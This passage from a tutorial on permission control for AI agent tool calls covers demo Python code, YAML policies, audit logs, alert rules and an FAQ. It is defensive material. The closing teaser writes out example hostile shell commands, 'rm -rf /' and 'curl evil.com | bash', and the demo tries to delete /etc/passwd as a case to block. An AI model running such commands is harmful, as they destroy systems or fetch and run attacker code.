        # ---- Step 3: Risk assessment ----
        decision, reason = self.gate.evaluate(tool, params)
        print(f"  [Risk Assessment] {decision.value}: {reason}")

        # ---- Step 4: Act on approval decision ----
        if decision == ApprovalDecision.BLOCK:
            result = ExecResult(
                status=ExecStatus.BLOCKED_BY_APPROVAL,
                tool_name=tool_name,
                params=params,
                message=f"Approval gate blocked: {reason}",
            )
            self.execution_log.append(result)
            return result

        if decision == ApprovalDecision.REQUIRE_APPROVAL:
            # In a real system, this would trigger a human approval workflow
            print(f"  [Approval Flow] ⚠ Human approval required: {tool_name}({params})")
            print(f"  [Approval Flow] → Simulating human approval...")
            # Simulation: assume human approval passes
            approved = self._simulate_human_approval(tool_name, params)
            if not approved:
                result = ExecResult(
                    status=ExecStatus.AWAITING_APPROVAL,
                    tool_name=tool_name,
                    params=params,
                    message="Human approval not granted",
                )
                self.execution_log.append(result)
                return result
            print(f"  [Approval Flow] ✓ Human approval granted")

        if decision == ApprovalDecision.NOTIFY:
            print(f"  [Notification] Tool '{tool_name}' auto-allowed, notification sent")

        # ---- Step 5: Execute tool ----
        print(f"  [Execution] Invoking {tool_name}({json.dumps(params)})")
        try:
            output = tool.handler(**params)
            result = ExecResult(
                status=ExecStatus.SUCCESS,
                tool_name=tool_name,
                params=params,
                output=output,
                message="Execution successful",
            )
        except Exception as e:
            result = ExecResult(
                status=ExecStatus.EXEC_ERROR,
                tool_name=tool_name,
                params=params,
                message=f"Execution error: {e}",
            )

        self.execution_log.append(result)
        return result

    def _simulate_human_approval(self, tool_name: str, params: Dict[str, Any]) -> bool:
        """Simulate human approval (a real system would send a notification to approvers)"""
        # In this demo, requests for production deployments are simulated as "approved"
        return True

    def print_summary(self) -> None:
        """Print execution summary"""
        print("\n" + "=" * 60)
        print("Execution Summary")
        print("=" * 60)
        for i, r in enumerate(self.execution_log, 1):
            icon = "✓" if r.status == ExecStatus.SUCCESS else "✗"
            print(f"  [{i}] {icon} {r.tool_name}: {r.status.value}")
            print(f"      {r.message}")


# ============================================================================
# 6. Mock Tool Implementations (for demo purposes)
# ============================================================================

def tool_file_delete(path: str) -> str:
    """Mock file deletion tool"""
    return f"File '{path}' deleted (simulated)"


def tool_deploy_to_production(service: str, version: str) -> str:
    """Mock production deployment tool"""
    return f"Service '{service}' deployed version {version} to production (simulated)"


def tool_read_config(key: str) -> str:
    """Mock config read tool"""
    return f"Config key '{key}' value: placeholder_value (simulated)"


# ============================================================================
# 7. System Assembly & Scenario Demo
# ============================================================================

def build_system() -> AgentExecutor:
    """Assemble the complete permission control system"""
    # ---- 7.1 Tool Registration ----
    registry = ToolRegistry()
    registry.register(Tool(
        name="file_delete",
        description="Delete a file at the specified path",
        risk_level=RiskLevel.MEDIUM,
        required_permissions=["file:delete"],
        handler=tool_file_delete,
    ))
    registry.register(Tool(
        name="deploy_to_production",
        description="Deploy a service to production",
        risk_level=RiskLevel.HIGH,
        required_permissions=["deploy:production"],
        handler=tool_deploy_to_production,
    ))
    registry.register(Tool(
        name="read_config",
        description="Read a system configuration key",
        risk_level=RiskLevel.LOW,
        required_permissions=["config:read"],
        handler=tool_read_config,
    ))

    # ---- 7.2 Permission Policy Configuration ----
    policy = PermissionPolicy()

    # Permission policy for the "developer" role
    policy.add_role_policy(RolePolicy(
        role_name="developer",
        tool_rules=[
            ToolRule(
                tool_name="file_delete",
                allowed=True,
                param_rules=[
                    # Allow rule: path must start with /workspace/
                    ParamRule(
                        allow=True,
                        param_constraints={"path": {"prefix": "/workspace/"}},
                    ),
                    # Deny rule: path must not contain /etc/
                    ParamRule(
                        allow=False,
                        param_constraints={"path": {"prefix": "/etc/"}},
                    ),
                ],
            ),
            ToolRule(
                tool_name="deploy_to_production",
                allowed=True,
                param_rules=[
                    # Only allow deployment to specific services
                    ParamRule(
                        allow=True,
                        param_constraints={"service": {"values": ["api-gateway", "user-service"]}},
                    ),
                ],
            ),
            ToolRule(
                tool_name="read_config",
                allowed=True,
            ),
        ],
    ))

    # ---- 7.3 Approval Gate Configuration ----
    gate = ApprovalGate()
    # Add sensitive path pattern: block any operation under /etc/
    gate.add_sensitive_pattern("path", "/etc/", ApprovalDecision.BLOCK)

    # ---- 7.4 Create Agent Executor ----
    executor = AgentExecutor(
        registry=registry,
        policy=policy,
        gate=gate,
        role="developer",
    )

    return executor


def run_demo():
    """Run demo scenarios"""
    print("=" * 60)
    print("Agent Tool Permission Control System — Demo")
    print("=" * 60)
    print(f"Current role: developer")
    print()

    executor = build_system()

    # ----------------------------------------------------------------
    # Scenario 1: Agent tries file_delete("/etc/passwd")
    # Expected: blocked by policy deny rule + approval gate sensitive pattern
    # ----------------------------------------------------------------
    print("─" * 60)
    print("Scenario 1: Agent tries file_delete('/etc/passwd')")
    print("  Expected: blocked (sensitive path + not under /workspace/)")
    print("─" * 60)
    result1 = executor.execute("file_delete", {"path": "/etc/passwd"})
    print(f"  → Result: {result1.status.value} — {result1.message}\n")

    # ----------------------------------------------------------------
    # Scenario 2: Agent tries file_delete("/workspace/tmp.txt")
    # Expected: allowed (path under /workspace/, medium risk → notify)
    # ----------------------------------------------------------------
    print("─" * 60)
    print("Scenario 2: Agent tries file_delete('/workspace/tmp.txt')")
    print("  Expected: allowed (path within workspace)")
    print("─" * 60)
    result2 = executor.execute("file_delete", {"path": "/workspace/tmp.txt"})
    print(f"  → Result: {result2.status.value} — {result2.message}")
    if result2.output:
        print(f"  → Output: {result2.output}\n")

    # ----------------------------------------------------------------
    # Scenario 3: Agent tries deploy_to_production()
    # Expected: triggers approval (high-risk operation)
    # ----------------------------------------------------------------
    print("─" * 60)
    print("Scenario 3: Agent tries deploy_to_production(service='api-gateway', version='v2.3.1')")
    print("  Expected: triggers approval flow")
    print("─" * 60)
    result3 = executor.execute("deploy_to_production", {
        "service": "api-gateway",
        "version": "v2.3.1",
    })
    print(f"  → Result: {result3.status.value} — {result3.message}")
    if result3.output:
        print(f"  → Output: {result3.output}\n")

    # ----------------------------------------------------------------
    # Scenario 4: Normal low-risk operation
    # Agent tries read_config("log_level")
    # Expected: auto-approve, executes successfully
    # ----------------------------------------------------------------
    print("─" * 60)
    print("Scenario 4: Agent tries read_config('log_level')")
    print("  Expected: auto-approved, no approval needed (low risk)")
    print("─" * 60)
    result4 = executor.execute("read_config", {"key": "log_level"})
    print(f"  → Result: {result4.status.value} — {result4.message}")
    if result4.output:
        print(f"  → Output: {result4.output}\n")

    # ---- Print execution summary ----
    executor.print_summary()

    print()
    print("=" * 60)
    print("Scenario Verification Summary")
    print("=" * 60)
    print("  Scenario 1 (file_delete /etc/passwd)          → blocked ✓")
    print("  Scenario 2 (file_delete /workspace/tmp.txt)   → allowed ✓")
    print("  Scenario 3 (deploy_to_production)             → approval triggered ✓")
    print("  Scenario 4 (read_config)                      → auto-approved ✓")
    print()
    print("The four scenarios above cover the core paths of a permission control system:")
    print("  policy deny → approval trigger → parameter constraint → auto-approve")


if __name__ == "__main__":
    run_demo()

Save the above code as agent_permission_demo.py and run python3 agent_permission_demo.py to see the results of all four scenarios. The code relies solely on the Python standard library — no third-party packages required.

Example Execution Output

After running, the terminal output is as follows (key sections shown):

============================================================
Agent Tool Permission Control System — Demo
============================================================
Current role: developer

────────────────────────────────────────────────────────────
Scenario 1: Agent tries file_delete('/etc/passwd')
  Expected: blocked (sensitive path + not under /workspace/)
────────────────────────────────────────────────────────────
  [Risk Assessment] block: Parameter 'path' contains sensitive pattern '/etc/' → block
  → Result: blocked_by_approval — Approval gate blocked: ...

────────────────────────────────────────────────────────────
Scenario 2: Agent tries file_delete('/workspace/tmp.txt')
  Expected: allowed (path within workspace)
────────────────────────────────────────────────────────────
  [Policy Check] ✓ Permission check passed
  [Risk Assessment] notify: Risk level medium → default decision notify
  [Notification] Tool 'file_delete' auto-allowed, notification sent
  [Execution] Invoking file_delete({"path": "/workspace/tmp.txt"})
  → Result: success — Execution successful
  → Output: File '/workspace/tmp.txt' deleted (simulated)

────────────────────────────────────────────────────────────
Scenario 3: Agent tries deploy_to_production(...)
  Expected: triggers approval flow
────────────────────────────────────────────────────────────
  [Policy Check] ✓ Permission check passed
  [Risk Assessment] require_approval: Risk level high → default decision require_approval
  [Approval Flow] ⚠ Human approval required: ...
  [Approval Flow] → Simulating human approval...
  [Approval Flow] ✓ Human approval granted
  [Execution] Invoking deploy_to_production(...)
  → Result: success — Execution successful

────────────────────────────────────────────────────────────
Scenario 4: Agent tries read_config('log_level')
  Expected: auto-approved, no approval needed (low risk)
────────────────────────────────────────────────────────────
  [Policy Check] ✓ Permission check passed
  [Risk Assessment] auto_approve: Risk level low → default decision auto_approve
  [Execution] Invoking read_config({"key": "log_level"})
  → Result: success — Execution successful

Code Analysis

This sub-200-line block of code is the first step in turning the theory from the previous six sections into an executable system. It's incomplete — no persistence, no audit logging, no revocation mechanism — but it shows the core skeleton. In a production system, this skeleton would be extended and hardened, but the fundamental shape remains the same.


8. Production Considerations

The previous seven sections built the theoretical foundation and code skeleton for tool permission control. But in a production environment, a permission system must also address configuration management, hot-reloading, monitoring and alerting, and integration with enterprise IAM — a set of engineering concerns. This section walks through each of these production-grade considerations.

Policy Configuration: YAML/JSON Under Version Control

In the code example, permission policies were hardcoded in Python dictionaries. In a production system, policies should be loaded from external configuration files and placed under version control. The recommended approach is to define permission policies as YAML or JSON files, managed alongside the code repository:

# policies/agent-reader.yaml
role: agent-reader
description: "Read-only Agent, can query but not modify"
tools:
  - name: file_read
    allowed: true
    param_constraints:
      - param: path
        allow:
          prefix: "/workspace/"
  - name: db_query
    allowed: true
  - name: file_write
    allowed: false
  - name: deploy_to_production
    allowed: false

# policies/agent-operator.yaml
role: agent-operator
description: "Operator Agent, can read/write but requires approval"
tools:
  - name: file_write
    allowed: true
    param_constraints:
      - param: path
        allow:
          prefix: "/workspace/"
    risk_override: medium
  - name: deploy_to_production
    allowed: true
    requires_approval: true
    risk_level: critical

The benefits of version-controlling policy files are clear: every policy change has a full diff record and a commit message explaining the reason for the change; policies can be reviewed through PR/MR workflows; and when problems arise, you can quickly roll back to a previous version. This aligns with the Infrastructure as Code (IaC) philosophy — treat security policies as code.

Policy Hot-Reload: Change Without Restarting Agents

Permission policies are not static. When a team adds a new tool, adjusts a role's permission scope, or temporarily tightens security rules, you can't restart all running Agents. A policy hot-reload mechanism is therefore essential:

import os
import time
import yaml
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class PolicyReloadHandler(FileSystemEventHandler):
    """Watch policy file directory; auto-reload on changes"""

    def __init__(self, policy_engine: PermissionPolicy):
        self._engine = policy_engine
        self._last_reload = 0
        self._debounce_seconds = 2  # Debounce: no reload within 2s

    def on_modified(self, event):
        if not event.src_path.endswith(('.yaml', '.yml', '.json')):
            return

        now = time.time()
        if now - self._last_reload < self._debounce_seconds:
            return
        self._last_reload = now

        try:
            with open(event.src_path) as f:
                new_policy = yaml.safe_load(f)
            self._engine.reload_policy(new_policy)
            log_info("policy_reloaded", file=event.src_path)
        except Exception as e:
            log_error("policy_reload_failed", file=event.src_path, error=str(e))
            # Critical: keep current policy on failure — never degrade to empty

Key design decisions for hot-reload:

Monitoring: Log Every Permission Check

Permission control is not "set and forget" — you need to continuously observe whether the system is operating as intended. Every permission check should produce observable output, whether the result is allow or deny:

# Structured log example (JSON Lines format, ready for log platform ingestion)
{"ts":"2026-05-19T10:23:45.123Z","event":"permission_check","agent_id":"agent-42",
 "role":"agent-reader","tool":"file_delete","params":{"path":"/etc/passwd"},
 "decision":"deny","rule":"default_deny","reason":"no allow rule matched",
 "duration_us":142}

{"ts":"2026-05-19T10:23:46.891Z","event":"permission_check","agent_id":"agent-42",
 "role":"agent-reader","tool":"file_read","params":{"path":"/workspace/report.txt"},
 "decision":"allow","rule":"reader-file_read-workspace","param_checks_passed":1,
 "duration_us":87}

{"ts":"2026-05-19T10:24:01.002Z","event":"approval_decision","agent_id":"agent-55",
 "role":"agent-operator","tool":"deploy_to_production",
 "risk":"critical","decision":"require_approval","approval_id":"apr-789"}

These logs deliver value far beyond debugging:

Alerting: Repeated Denials and Anomalous Patterns

With structured logs in place, the next step is defining alerting rules. Here are two scenarios where alerts are mandatory:

  1. Repeated denial alert — potential attack: If the same agent triggers a large number of denials (e.g., 10+) within a short time window (e.g., 1 minute), this may indicate the Agent is repeatedly attempting unauthorized operations — whether due to prompt injection or misconfiguration. The alert should trigger human review.
  2. Anomalous tool usage patterns: If an Agent suddenly starts calling tools it has never used before (especially high-risk tools), an alert should fire even if those calls are technically permitted. This is behavioral baseline deviation detection — the Agent may have been injected with a malicious prompt.
# Alert rule pseudocode
ALERT repeat_deny:
  IF count(permission_check{decision="deny"}, agent_id, window=60s) >= 10
  THEN severity=high, action=notify_secops

ALERT unusual_tool_usage:
  IF tool NOT IN agent_tool_baseline[agent_id]   # Not in this Agent's historical tool set
     AND risk_level IN (high, critical)
  THEN severity=medium, action=require_approval + notify_admin

Enterprise IAM Integration

In large organizations, Agent permission management should not be an island. Your team already maintains user identities and role information in LDAP, OAuth, or SSO (e.g., Okta, Azure AD). The Agent permission system should be able to leverage this existing infrastructure:

Integration is not replacement — Agent tool permission control is a complementary layer beneath IAM. IAM answers "is this principal authorized to access this system?", while Tool ACL answers "can this Agent invoke this tool with these parameters?" Each has its own role; they work in concert.

Teaser: Agent Command Execution Security

Tool permission control governs the invocation boundary of tools, but a more fundamental question remains unresolved: is every shell command executed by an Agent safe?

This is the topic the third article in our series will explore in depth. Shell command execution is one of the most dangerous Agent capabilities — a single rm -rf / can destroy an entire system, and a single curl evil.com | bash can download and execute arbitrary code. Tool permission control can check permissions when the shell_exec tool is invoked, but it cannot inspect the content of the command itself.

The next article will cover: the design of shell command allowlists/denylists, detection of dangerous operation patterns (pipes, redirects, code injection), and how to enforce security policies at the system-call level (seccomp, AppArmor). This is defense-in-depth advancing from the application layer to the kernel layer.

Citable Definition

Agent Tool Permission Control: An access control mechanism that executes before an AI Agent invokes a tool. By defining roles, rules, and approval policies, it ensures that the Agent can only invoke authorized tools with authorized parameters. It is the second line of defense after sandbox isolation — the sandbox constrains the code's runtime boundary, while tool permission control constrains the Agent's operational boundary.

FAQ

Q: How is Tool ACL different from traditional RBAC?

A: Traditional RBAC controls "whether a user can access a system resource" (e.g., can User A read Database B?). Tool ACL controls "whether an Agent can invoke a specific tool with specific parameters" (e.g., can the Agent invoke file_delete with --path=/workspace/?). The two operate at different abstraction layers — RBAC is resource-level access control, Tool ACL is operation-level access control. In practice, Tool ACL is typically layered on top of RBAC: the Agent's role is defined by RBAC/IAM, and that role is granted a set of invocable tools with parameter constraints.

Q: Isn't parameter-level control over-engineering?

A: No. Tool-level control ("the Agent can invoke file_delete") is equivalent to saying "the Agent can delete any file" — which is obviously dangerous. Parameter-level constraints refine permission to "the Agent can delete files under /workspace/tmp/, but not under /etc/ or /home/." In security, finer-grained permissions mean smaller blast radii. For dangerous tools like deploy_to_production or db_execute_sql, parameter-level control is not optional — it's mandatory.

Q: Won't approval flows slow down the Agent?

A: Not if the approval flow follows the tiered strategy of "auto-approve low-risk, require human approval for high-risk." In the four-tier risk response system defined in Section 5, low and medium-low risk operations are auto-approved, and only high and critical operations trigger human approval. In practice, the vast majority of Agent operations fall into the low-risk category (read files, query databases, generate reports), and these will not incur any approval delay. Only truly dangerous operations wait for human confirmation — and waiting for human confirmation is itself part of the security mechanism.

Q: How do you balance least privilege with Agent autonomy?

A: Least privilege does not mean the Agent is handcuffed — it means the Agent is granted exactly enough permissions to complete the current task. The balance point lies in Just-in-Time (JIT) Access: the Agent defaults to minimal permissions (e.g., read-only), and when a task requires elevated permissions, those permissions are temporarily granted through an approval flow and immediately revoked upon task completion. This way, the Agent maintains low permissions most of the time (satisfying the least privilege principle) but can escalate through approval when needed (preserving autonomy). This is not suppressing autonomy — it's building safety guardrails for autonomy.

Q: Can this approach be integrated with frameworks like LangChain or AutoGen?

A: Yes. The permission control architecture described in this article is framework-agnostic — it operates at the tool invocation layer, acting as a "permission proxy" between the Agent framework and the concrete tools. For LangChain, you can add a permission-check decorator in the _arun method of BaseTool; for AutoGen, you can wrap a permission validation function around the Agent's function_map. The core components — PermissionPolicy, ApprovalGate, AgentExecutor — are standalone Python classes with no dependency on any specific framework. Our recommendation: implement permission control as an independent middleware layer rather than embedding it inside a specific framework — this way, you don't need to rewrite security logic when you switch frameworks.

Next Steps

📖 Next Article Teaser: In the third article we go one layer deeper — Agent Command Execution Security. Covering shell command allowlists, dangerous operation detection, and how to enforce security policies at the system-call level.